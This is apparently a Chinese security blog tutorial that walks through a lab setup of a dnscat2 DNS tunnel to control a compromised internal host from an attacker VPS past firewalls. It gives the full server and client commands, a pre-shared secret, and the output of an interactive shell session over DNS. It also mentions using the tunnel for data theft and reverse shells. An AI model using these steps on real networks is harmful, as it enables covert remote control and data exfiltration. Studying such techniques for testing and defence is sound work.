作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。所以可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)
题目很惊悚,真的有点惊悚啊~
如今很卷,各大公司的内网,甚至是网吧局域网的安全防护都做了起来,随便拿个攻防工具或者脚本乱打一通的时代已经过去了。
例如,各大公司将绝大部分网络和主机设备归为内网,通过堡垒机和防火墙,设置各种策略,实现逻辑上的内网隔离。仅仅将一小部分主机和上面的域名或者IP端口暴露在公网,作为暴露面对外接进行交互、展示,而这些硕果仅存的大家能通过互联网访问到的一个个网页、交互端口等俗称互联网暴露面。然后IPS
、防火墙
、APT
、抗DDOS流量清洗
、全流量监测设备
…这些你知道或从未听过的各类安全产品都对这个暴露面进行严防死守。
暴露面身后的庞大内网在设计之初,是严禁直接从互联网访问哦! 而攻击者使用各种代理工具就像各种专用通道,能让你在家中笔记本上敲出的命令,通过这个通道轻松进入到目标内网的主机上,并将感兴趣的东西带出,甚至破坏。就像有人在你房间的墙壁上凿出一个洞,让你安全的小窝豁然暴露在他的面前一样
。
然而前面说的的各种安全工具和防护措施建立起来后,这些代理工具再也撬不动铜墙铁壁,一个个失去了作用~
在我们费劲千辛万苦拿到一个暴露面主机权限后,我们愕然发现:由于端口和策略限制,拿到暴露面所在的主机权限后,什么都不能做。更别提通过他真正撬开内网大门,堂而皇之的进入内网遨游!这感觉就像下图这样,只能透过钥匙孔看向一片漆黑。
怎么办,作为攻防渗透行业从业者我们不能坐以待毙!目前常见的策略中,非必要端口都会被关掉,但是DNS解析服务,端口号53,却是还保留着。毕竟很多场景下内网需要这个端口来与外界交互进行域名和IP地址的解析。而我们是否能将代理搭建在这个DNS数据包封装格式下呢?从而实现披着DNS的外表,实际在搭建一个隐蔽远控通道的目标?
答案是肯定的,本文演示所使用的工具就是Dnscat2
这个知名工具
这段文字怎么感觉不像好人说的~
以上就是本文的文字介绍部分,如您对技术不是很熟悉,可以忽略下面内容。
如您是做技术的,可以参考下面的操作流程,尝试搭建自己的dns隧道哦~
友情提示:仅供学习交流,不得在实际环境下尝试,否则后果自负,与我无关哈~
基本原理
网络架构图
- 图中右侧模拟了一个内网:由防火墙隔绝,内网中有三台主机。
策略配置,外网不能访问内网的任何主机,内网主机可以访问外网。
- 图中间防火墙:设置了严格的策略,对内外流量进行控制
本实验可以理解为仅为DNS流量可以自由通过防火墙。
- 图中左侧模拟了互联网:攻击者拥有一个有公网地址的VPS主机
- 假设图中内网
kali(192.168.1.6)
已经被拿下,已上传dnscat2客户端。
DNS隧道原理
利用自己拥有的域名
,设置域名A类和ns解析地址为自己vps服务器ip
。在vps上使用Dnscat2工具
,运行服务端,这样,在远端的客户端当解析自己的域名时,最后流量都会到达这台vps上。同理DNS的正常响应也会返回到发起询问的内网机器上。这本是一个正常DNS交互流程,一切都很正常。
但我们使用的Dnscat2工具建立的DNS服务本质其实是个远控程序,它以正常DNS数据包为表象,内在封装恶意代码,建立一个披着羊皮的隐蔽隧道
。利用这个隧道,攻击者可以传输恶意指令,并与目标进行交互等操作,从而实现内网遨游。
而很多主流安全软件和防火墙,对dns的数据包,检查力度较弱,甚至直接放行。
配置自己的域名设置,并测试域名解析是否正常
- 在这里不会细说如何购买一个域名,我的域名是在godaddy购买的。
设置很简单,只需要设置两处。如下图
- 在自己的vps服务端,需要放行53端口
- 测试域名设置是否能成功解析,能拼通,第一步成功
# 在攻击者电脑kali 192.168.120.133
┌──(root㉿kali)-[~]
└─# ping ns1.你的域名
PING ns1.你的域名 (你的公网 56(84) bytes of data.
64 bytes from 你的公网 (你的公网): icmp_seq=1 ttl=128 time=30.3 ms
- 再测试子域名解析是否正常
# VPS 101.*
# 1. 腾讯服务器 打开防火墙53端口
# 2. 切换到root权限后,监听网卡 53端口数据包
ubuntu@VM-24-12-ubuntu:~$ su root
Password:
root@VM-24-12-ubuntu:/home/ubuntu# cd ~
root@VM-24-12-ubuntu:~# tcpdump -n -i eth0 udp dst port 53
# 在攻击者电脑kali 192.168.120.133
┌──(root㉿kali)-[~]
└─# nslookup vpn.你的域名
Server: 192.168.120.2
Address: 192.168.120.2#53
** server can't find vpn.你的域名: SERVFAIL
vps成功抓取DNS流量包
经过以上两个测试,可以验证域名解析配置正确。
在VPS上安装、启动Dnscat2服务端
# 环境安装
apt-get install gem
apt-get install ruby-dev
apt-agt install libpq-dev
apt-agt install ruby-bundler
# Dnscat2安装
apt-get install git
git clone https://github.com/iagox86/dnscat2.git
bundle install
# 启动服务端
# 首先关闭所有占用53端口的程序
root@VM-24-12-ubuntu:~/tools/dnscat2/server# netstat -tunpl|grep 53
tcp 0 0 10.0.24.12:53 0.0.0.0:* LISTEN 768/named
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 768/named
# 杀死进程
kill -9 768
# 中继模式启动
root@VM-24-12-ubuntu:~/tools/dnscat2/server# ruby ./dnscat2.rb vpn.你的域名 -e open -c heason --no-cache
New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false
history_size (for new windows) => 1000
Security policy changed: Client can decide on security level
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = vpn.你的域名]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=heason vpn.你的域名
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=heason
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
在内网机器上启动客户端
dnscat2工具对linux和win客户端均有,链接如下
github上源码和linux客户端
dnscat2各类型服务端、客户端(含win)下载列表
# 内网kali 192.168.1.6
┌──(root㉿kali)-[~/Desktop]
└─# ./dnscat -dns domain=vpn.你的域名 -secret heason
Creating DNS driver:
domain = vpn.你的域名
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 192.168.1.4
** Peer verified with pre-shared secret!
Session established!
Got a command: COMMAND_SHELL [request] :: request_id: 0x0001 :: name: shell
[[ WARNING ]] :: Starting: /bin/sh -c 'sh'
[[ WARNING ]] :: Started: sh (pid: 74086)
Response: COMMAND_SHELL [response] :: request_id: 0x0001 :: session_id: 0xa6d2
** Peer verified with pre-shared secret!
Session established!
简单命令执行演示
dnscat2> sessions
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = vpn.你的域名 [*]
1 :: command (WIN-7-PS1) [encrypted and verified] [*] [idle for 3343 seconds]
2 :: command (WIN-7-PS1) [encrypted and verified] [*] [idle for 2972 seconds]
3 :: (not set) [cleartext] [*] [idle for 2625 seconds]
4 :: command (kali) [encrypted and verified]
5 :: sh (kali) [encrypted and verified] [*]
dnscat2> session -i 5
New window created: 5
history_size (session) => 1000
Session 5 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
New window created: 6
sh (kali) 5> ls
sh (kali) 5> dnscat
dnscat2-v0.07-client-x64.tar.bz2
sh (kali) 5> pwd
sh (kali) 5> /root/Desktop
至此,隧道已成功建立,你可以通过这个隧道获取敏感信息,反弹shell等,开始下一步的内网探索了。